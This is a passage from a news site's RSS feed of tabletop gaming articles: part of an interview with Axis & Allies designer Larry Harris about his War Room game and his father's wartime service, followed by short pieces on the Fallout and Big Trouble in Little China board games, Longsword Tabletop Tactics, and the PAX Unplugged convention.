He later went to Japan and fell in love with the Japanese. I have an interesting story about that, a quizzical little story. I was in school, and we were totally misbehaving as a classroom. There was a teacher, a Japanese-American woman, who walked into the classroom and called us all “nincompoops!” I went home and asked my father, who spoke some Japanese, “What does nincompoop mean in Japanese?” He burst out laughing. “No, that’s English.”

Above: Lawrence H. Harris, the father of Larry Harris, in New Guinea during World War II.

Image Credit: Larry Harris

GamesBeat: Did he survive long enough to see the first Axis & Allies?

Harris: Yeah, he did. He died in 2010. So many of these veterans of World War II are disappearing. At one point it was 3,000 a month, and it’s probably higher now. It’s a sad thing. When I write my designer notes for Axis & Allies, which I’ve done many times, I often say, go out and find these guys, shake their hands. Be in a position where you can tell your grandchildren that you met this greatest generation.

GamesBeat: Did you ever bring your father into the game in some way?

Harris: There was a dedication in a couple of them. One game I did, Guadalcanal, I included, in the designer notes, some excerpts from his diary. Very detailed, actually, about being shelled. At Guadalcanal the Japanese were bringing cruisers and destroyers down through the Slot and shelling them at night. It was just terrible, these things landing anywhere, and there’s no hole deep enough to hide from them.

Also, there’s a picture of him — in New Guinea at a later moment, with a cigar in his hand, his helmet on, and his radio on his back, a pretty cool photo – that’s always included in the designer notes. So yeah, he’s been tied in. I’ve given him credit for inspiration behind this whole project.

GamesBeat: The interesting thing is that war games can be so abstract, so removed from those details.

Harris: There’s a personal side that you have to let go of, and then you go into the mechanical and—the clinical side of it? The strategy, the movement, the chess game of it. In all wars you have this interesting chess game going on. World War II, one of the chess pieces, if you will, was production. America’s production ability was very high, of course – in fact, World War II made America the superpower it has become, and has been for the last 70 years, because of that production.

Production of your new pieces based on the resources available to you is a big factor in this game. In War Room we deal more directly with resources than the industrial production certificates, which were equivalent to money in Axis and Allies. Here we deal with oil, iron, and other strategic resources. It takes combinations of these resources to produce things like tanks or infantry or aircraft or ships.

Whatever the theme might be, I look for the root idea, the core idea, and then I tried to accentuate that, bring that forward. If you’re a Squad Leader, as the title suggests – or a platoon leader or a company commander — I wanted you to be a commander of eight or 10 guys and I wanted you to deal with those issues. I wanted you to be the center of it.

What I’m doing here in this game, I’m putting you in the center of your war room. You’re the supreme commander of whatever country you happen to be playing. You’re the one who makes all the calls. A game should be an adventure that you go on. Things are under your control, with the elements banging up against you, testing you, seeing how you fare.

Above: Call of Duty: WWII

Image Credit: Activision

GamesBeat: I play a lot of Call of Duty these days.

Harris: That’s some hard stuff for me to compete against. It’s so exquisite. I play a lot of World of Tanks. I’m just so impressed with—when you shoot it looks like you’re really shooting. Someone’s taken the time to figure out the velocity of my particular weapon. It’s just wonderful. But still, it doesn’t have the social aspect that a board game does.

Imagine if Call of Duty had you in the supreme commander’s job. You’d get up, have your breakfast, have your manservant help you into your uniform. But then you’d walk down into this war room, and you’d have this big overhead light on the table, or a big panel on the wall depending on the war you’re fighting, and there you make critical decisions. That moment when you’re making critical decisions is what I harp on.

GamesBeat: To go even more abstract, what are some lessons you’ve learned about game design?

Harris: Just reinforcing the idea that the devil is in the details. If the game is too complicated, that’s because it’s not well-designed. It’s for the designer to deal with the complications and to present it in a very easy, simple fashion. A complicated subject with many different parts should not be complicated to play.

GamesBeat: Have you toyed with the idea of doing either digital versions of this game or computer games? Is there something that draws you more to the tabletop?

Harris: I’m just looking for a producer. This will be a great electronic game. It has all the ingredients.

GamesBeat: I suppose the way to get the game right is to create that tabletop version first, though.

Harris: Yeah, all the work’s done. All the math, all the scale. It’s all there. It just has to be translated.

Above: Larry Harris sitting on a WWII-era Sherman tank.

Image Credit: Nightingale Games

GamesBeat: When computer games came along, were you still interested primarily in tabletop for a particular reason?

Harris: Oh, yeah. I resisted! You have to understand, this came out in 1984. I had a little Macintosh box at the time. Electronic games seemed really crude. Didn’t seem to have much of a future as far I was concerned. I resisted moving to computers. But Axis & Allies did come out in two electronic versions, through Hasbro and through Atari. They were very well-received. Sold a lot of copies.

GamesBeat: Is that something you still get royalties on? Has that helped finance your other games?

Harris: Sure. It’s helped finance my entire life. [Laughs] This one, though, it’s separate. I don’t want to put too much of my personal money in the development of a game, because I don’t want to put that at risk. You never know if a game is going to be successful. I’m not at the point where I can take great financial risks. Kickstarter fit this perfectly. We didn’t know – this is an interesting story – how this was going to be received. We set up a goal of $ 150,000, and we reached that within the first 24 hours. Then we said, “Yeah, we’ve got something here.” It was great. Exceeding that goal, we were able to incorporate better elements, and more of them.

GamesBeat: Is this the kind of game that could be played solitaire, or would it be difficult to do that way?

Harris: I play it solitaire, for parts of my playtesting. Certainly I can more easily put together a solitaire game. I’ve often done that. But of course it’s always preferable to have other people and their reactions. Even though this has secret and simultaneous movement, I can ad lib—I actually write orders for each country that I’m playing. Maybe I’ll walk away for an hour or two so I don’t remember exactly what the Germans were doing that last round. [laughs] So when I sit down and start writing orders for Britain or the United States, I don’t exactly remember. I make an effort not to remember what the enemy did. Or I make assumptions. Maybe I’ll move things under strength, to test how it would have resolved between real players. I’m very good at playing against myself.

Above: War Room features secret and simultaneous movement.

Image Credit: Nightingale Games

GamesBeat: As far as the level of strategic play, is there a good way to describe that here? What kinds of things are you doing? Are you attacking individual cities or countries?

Harris: We call them territories, because sometimes they are whole countries, and sometimes they’re simply territories of a country. Russia is broken up into many regions, whereas Germany is just one territory. But within these territories are these resources, which gives each territory its unique strategic value. To lose France, for example, would be a big chunk out of Germany’s economy. There’s strategic value assigned to France which is very high. The loss of that would impact your morale chart, which is also—you’re not only deprived of French resources, but you also take a hit on your morale and stress level.

GamesBeat: Does the game reward aggression in that sense, then?

Harris: To some extent. Because casualties are part of the stress factor, even if you capture a territory, take it over, you still suffer the stress of the loss of your young men and women. It’s a fine line between punishment and reward there. But if you do conquer a territory you receive a medal, a symbol of a morale-boosting situation. Even though you may have had a bad streak of morale deterioration, you can still recoup some of that with good news. That good news is represented in the form of medals.

You can also manipulate your nation’s stress level by directing your military resources back to the civilian population, versus something like the purchase of a tank, for example. That comes in the form of purchasing a civilian goods and services token, which is like receiving a medal, but you purchase it. What you’re doing is redirecting some of your finances toward civilian needs. It’s guns versus butter. Which all sounds very complicated, but it’s very simple. You just make a conscious decision to deal with stress, keep it at a manageable level, and direct your economy to keep everyone happy so stress doesn’t overcome you.

GamesBeat: Does your stress level lead to guerrilla warfare, anything like that?

Harris: It leads ultimately to mass desertion. You have to remove units from the board. But before you get to that point, you’ve been deprived of your ability to produce new stuff by economic collapse. Your front lines, your military—I’m doing this backwards. Your military starts to be able to move fewer things, because of supply line disruption. At some point your railways and ports don’t function, because civilians aren’t cooperating and the work’s not getting done. Food is scarce and so on. It’s reflective of the real war, basically.

Above: War Room has a Kickstarter campaign going.

Image Credit: Nightingale Games

GamesBeat: Is there a lot of technological development in the game?

Harris: No, there’s no tech. That’s an area I could have gone into and decided not to. I didn’t think it needed that level. But it’s certainly very easily incorporated. There’s likewise the potential for espionage as well, in a big way, but it’s not there. It could be. The way it could be done, before I write my orders, because of successful espionage, I could get to see what your written orders are, or part of them.

GamesBeat: Is that something for players to think about, then, whether they want to modify it?

Harris: I don’t bring it up, but I always encourage house rules. As a designer I have no problem with people tailoring these games to their own interests. And these are also things that could be incorporated in future additions to the game.

GamesBeat: You’ve designed about 200 games now. Did you feel like this one was special in some way?

Harris: I’ve got a lot of years behind me as a professional game designer. It’s been my life’s work. Worked for all the biggies. Hasbro, Mattel, Coleco, Milton-Bradley, the list goes on. This is the culmination of all those many years. The game itself has benefited from my becoming a veteran game designer. This was not rushed. It benefited from that. It benefited from my experience and knowledge of World War II. I look at it right now and I don’t know how I can make it any better.

GamesBeat: How old are you now?

Harris: I’m 69. Don’t ask me how that happened. I have no idea. I know when it happened, but that’s all.

VentureBeat

]]> https://briefnews.eu/war-room-how-axis-allies-creator-larry-harris-designed-his-ambitious-wwii-tabletop-game/feed/ 0 ‘Fallout’ is bringing the wasteland to tabletop gaming https://briefnews.eu/fallout-is-bringing-the-wasteland-to-tabletop-gaming/ https://briefnews.eu/fallout-is-bringing-the-wasteland-to-tabletop-gaming/#respond Wed, 09 Aug 2017 04:37:22 +0000 http://briefnews.eu/fallout-is-bringing-the-wasteland-to-tabletop-gaming/

Multiplayer in Fallout on PC and consoles probably isn’t going to happen. So, if you want friends to join you in the wasteland you’re going to have to go old school. The folks from Fantasy Flight Games have devised a tabletop board game that’s suitable for up to four players. You can apparently play solo too, according to Game Informer. There’s a heavy emphasis on decision making (a callback to the older Fallout games on PC), and newer elements like the VATS system for combat are on offer as well.

Storytelling plays a significant role here too. Narratives are pulled from the Bethesda-made games and their expansions, including Fallout 4. If you’re looking for a different way to deal with a super mutant encampment or a rad roach infestation and Fallout Shelter isn’t cutting it for you anymore, maybe this will when it’s released in a few months. Need a video-game board-game fix before then? There’s always Dark Souls.

Source: Game Informer

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]]> https://briefnews.eu/fallout-is-bringing-the-wasteland-to-tabletop-gaming/feed/ 0 Building A Digital Board Gaming Community With Longsword Tabletop Tactics https://briefnews.eu/building-a-digital-board-gaming-community-with-longsword-tabletop-tactics/ https://briefnews.eu/building-a-digital-board-gaming-community-with-longsword-tabletop-tactics/#respond Wed, 21 Jun 2017 21:57:50 +0000 http://briefnews.eu/building-a-digital-board-gaming-community-with-longsword-tabletop-tactics/ longsword1.jpg
Miniature wargaming is an expensive, time- and space-consuming hobby that requires you to find a group of like-minded individuals in close proximity to fully appreciate it. With Longsword Tabletop Tactics, Zero Sum Games is working on a digital solution that does away with the tactile sensation of moving little plastic dudes over lovingly-crafted battlefields, but aims to keep most of tabletop gaming’s other joys intact.

The game lets you collect and build an army comprised of miniature champions, spells, equipment, and structures. You can then customize the appearance of your army and enter it into battle on a hex-based tabletop battlefield against online opponents.

While the game’s online component is going to be its meat and potatoes, there will also be story-driven solo and cooperative modules for you to enjoy and to try out new unit combinations and builds. What’s more, Longsword aims to be a fully modular framework for tabletop games, allowing for different settings and scenarios down the road. As such, the current fantasy setting is just the first step for the game.

A tablemaker with integrated Steam Workshop support lets you create new battlefields and even whole scenarios and easily share them with other players. This editor looks like it has a wealth of options and could actually turn out to be one of the game’s main, uh, selling points.

longsword2.jpg

Longsword aims for a free-to-play business model, generating revenue through the sale of card packs, vanity items for your miniatures, and solo adventure packs. New units bought with in-game gold, which can be acquired by playing, are locked to your account, but cards bought with real money can be freely traded via the Steam Market.

Card packs will cost $ 2 or less, depending on how many you buy, and each one will contain 5 cards, with one guaranteed rare. Considering the option to trade unwanted cards, that sounds like a fair deal. Solo adventures will have a higher price tag – around $ 6.99 – but will offer you a single player experience with unlockable rewards, as well as a (tradable) set of cards relating to that adventure which you can also use in multiplayer.

I asked developer Daniel DiCicco about the nightmarish task of balancing 400 cards in over 7 unique factions – with more to come at a later date. The way that free to play games with collectible elements are structured, this could turn into a pay-to-win scenario all too quickly. However, DiCicco is confident that this won’t be much of an issue:

“The first line of defense in balancing this game is to apply a base mana cost to every skill and ability in the game, and a mana cost associated with each stat point. So a champion with a powerful ability or a powerful base stat will always cost more to mana to deploy to the field relative to a weaker champion.

The second line of defense comes from measurement – what units or spells, which combinations of cards are proving the most effective? We can track which cards are deployed most often, which cards are most often associated with victory or defeat, and from this we can draw conclusions about what might be over-powered or under-powered.

longsword3.jpg

As far as avoiding a pay-to-win scenario, it’s important to provide excellent starting decks to free players and to provide avenues to improve their collection through play. For people who invest real money into the game to speed their progress, they will absolutely have more options available when making a deck, but because of the tactical nature of Longsword, that’s not necessarily an advantage.

Depending on community demand, we might also institute some “common” leagues, where your deck has some additional restrictions like requiring every card to be Common rarity. This is a nice way to let people compete on an absolutely even playing field.”

Fair enough. DiCicco hopes that the game will draw a large enough community to keep it going and updated with new content for years to come. With a wide variety of different play sets, it might even draw in different types of tabletop gamers getting their fantasy/zombie/World War 2 board gaming fix. That may not happen right away, but the game is free and it looks incredibly promising.

Ultimately, Longsword’s future will be shaped by its community. It has a very flexible engine and for now, Daniel DiCicco is not ruling out anything with where it could go. If you want to support the game, consider backing it on Kickstarter. For more information, you can visit the game’s website or follow Daniel DiCicco on Twitter.

IndieGames.com

]]> https://briefnews.eu/building-a-digital-board-gaming-community-with-longsword-tabletop-tactics/feed/ 0 ‘Big Trouble in Little China: The Game’ Trailer: Jack Burton & Friends Head to The Tabletop https://briefnews.eu/big-trouble-in-little-china-the-game-trailer-jack-burton-friends-head-to-the-tabletop/ https://briefnews.eu/big-trouble-in-little-china-the-game-trailer-jack-burton-friends-head-to-the-tabletop/#respond Tue, 06 Jun 2017 02:25:41 +0000 http://briefnews.eu/big-trouble-in-little-china-the-game-trailer-jack-burton-friends-head-to-the-tabletop/ Big Trouble in Little China board game

I thought I was ready when I sat down to watch John Carpenter’s 1986 film Big Trouble in Little China for the first time, but nothing could truly prepare me for how bizarre that movie is. Now the off-kilter cult classic is getting the board game treatment, and a brand new trailer dives into the gameplay and shows how ol’ Jack Burton and his pals will face off against the mystical Lo Pan in game form. Hop into your own Porkchop Express, grab your CB radio, and watch the first Big Trouble in Little China board game trailer below.

Big Trouble in Little China: The Game trailer

Thanks to io9 for pointing this out to us. Somehow, the laughably bad Kurt Russell impression in the trailer actually feels like it fits perfectly with the spirit of this game. And speaking of tone, you should check out the most recent edition of our board game column Cardboard Cinema, in which Jacob Hall talks about how tabletop gaming has finally evolved to the point that it’s reasonable for fans to expect that games based on movies should feel like extensions of the film instead of just a cheap cash-in that uses the same title. Based on what we see here, it looks like Big Trouble in Little China: The Game definitely meets that standard.

Playing as characters like Jack Burton, Gracie Law, Egg Shen, Wang Chi, Margo Litzenberger, or Eddie Li, players must travel through Chinatown while defeating Lo Pan’s minions and completing story quests, all while powering up and preparing for a final showdown with Lo Pan himself. The decisions you make along the way impact the final outcome, and splintering across different paths means the game has high replayability value. The game’s official website has everything you could want to know about the rules and how things work with multiple players, so I’d encourage you to head over there and dive in if you’re already convinced that this is something you need to own.

You can pre-order the “Deluxe Limited Edition” right now for a cool $ 99.95. Here’s what the site says about how that differs from the regular version:

The Deluxe Limited Edition of Big Trouble in Little China: the Game is being created with the biggest fans of the film in mind. We wanted to say thank you to those who believe in our project as much as we do and to give them something special for pre-ordering the game.

The core game will allow for 1-4 players, but the Deluxe edition will increase the number of possible players to six!. The Deluxe edition will also include the Legacy of Lo Pan quests, with new rewards and hell cards, which give players an entirely new campaign-style experience and a new Lo Pan Boss board for an even more challenging and replayable showdown. All these extras will come in a unique metallic gold Limited Edition box design and more!

Take a look at some photos below, and head here for more info.

BTILC game 1
BTILC game 2
BTILC game 3
BTILC game 4

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]]> https://briefnews.eu/big-trouble-in-little-china-the-game-trailer-jack-burton-friends-head-to-the-tabletop/feed/ 0 PAX Unplugged: New Convention For Tabletop Gaming Debuts In Philadelphia This November https://briefnews.eu/pax-unplugged-new-convention-for-tabletop-gaming-debuts-in-philadelphia-this-november/ https://briefnews.eu/pax-unplugged-new-convention-for-tabletop-gaming-debuts-in-philadelphia-this-november/#respond Mon, 30 Jan 2017 05:35:13 +0000 http://briefnews.eu/pax-unplugged-new-convention-for-tabletop-gaming-debuts-in-philadelphia-this-november/ New PAX Convention

The Penny Arcade Expo, known affectionately throughout the gaming community as PAX, is extending its series of conventions to include a tabletop-only event dubbed PAX Unplugged. As revealed during PAX South 2017, The first PAX Unplugged event is scheduled to take place November 17 through 19 at the Pennsylvania Convention Center in Philadelphia.

Badges for the first PAX Unplugged are expected to go on sale this spring.

PAX Unplugged is the sixth convention in Penny Arcade’s roster of international events, which include PAX Australia, PAX South in Texas, PAX East in Boston, PAX West in Seattle, and the game developer conference PAX Dev. The PAX series of gaming conferences have traditionally been inclusive of tabletop gaming, featuring dedicated areas for board games, card games, and other forms of tabletop game experiences.

Jerry Holkins, co-founder of Penny Arcade, describes his vision for PAX Unplugged as follows in a statement to the press, addressing potential fears that tabletop gaming might potentially be getting pushed out of the video game-centric PAX events.

“With the rise of popularity of board games, we wanted to provide a dedicated space where fans can come together. We will continue to have tabletop games at every PAX, but Unplugged will focus on stepping away from the TV, monitor and phone to foster face-to-face multiplayer experiences.”

Penny Arcade is putting this new event together in collaboration with ReedPOP, a fan-based professional group that has also worked on New York Comic Con (NYCC), Star Wars Celebration, TwichCon, and Emerald City Comicon (ECCC).

The details of the event are said to include more than just a chance to try out new tabletop games. Tournament play, industry panels, and even music concerts are planned to be on the event schedule.

“PAX Unplugged will take all the elements that have drawn millions of gamers to PAX – the chance to play and see the reveal of highly-anticipated upcoming games, attend game-inspired music concerts, participate in tournaments and watch panels with industry leaders – but with a renewed focus on fostering the best event for the burgeoning tabletop gaming community.”

“PAX Unplugged will be a destination for attendees to share their common passions and socialize over board, card and other tabletop games, which have experienced a renaissance in recent years. Penny Arcade and ReedPOP are happy to embrace the thriving tabletop scene and provide those around it with a welcoming atmosphere to take this resurgence to even greater heights.”

The tabletop gaming industry has been rising in sales for the past several years around the globe. In the U.K., market research group NPD via The Guardian cites a 20 percent increase in tabletop game sales in the U.K market, which includes dice games and mini-figure games like Dungeons & Dragons. NPD’s research on the subject is said to include about 70 percent of the toy trade in the U.K.

According to consulting firm ICv2, via an Economist report in 2015, the tabletop gaming industry was measured as raking in around $ 88 million per year in just America and Canada (based on estimates from 2014). ICv2’s Milton Griepp was quoted in the report as stating that hobby games had “seen double-digit annual growth for the past half-decade.”

Later in 2016, hobby games had been measured as a more than $ 1 billion industry (based on estimates from 2015), with card games and dice games experiencing the “fastest growth rate” through a 75 percent increase from $ 60 million to $ 105 million in sales in just one year. Non-collectible miniature games and roleplaying games reportedly grew by 40 percent, from $ 125 million to $ 175 million and $ 25 million to $ 35 million, respectively. Board games also improved in sales by 56 percent, growing from an estimated $ 160 million in 2014 to $ 250 million in 2015.

Do you think a tabletop convention is a step in the right direction for PAX? Sound off in the comments below.

[Featured Image by Penny Arcade]

PAX Unplugged: New Convention For Tabletop Gaming Debuts In Philadelphia This November is an article from: The Inquisitr News


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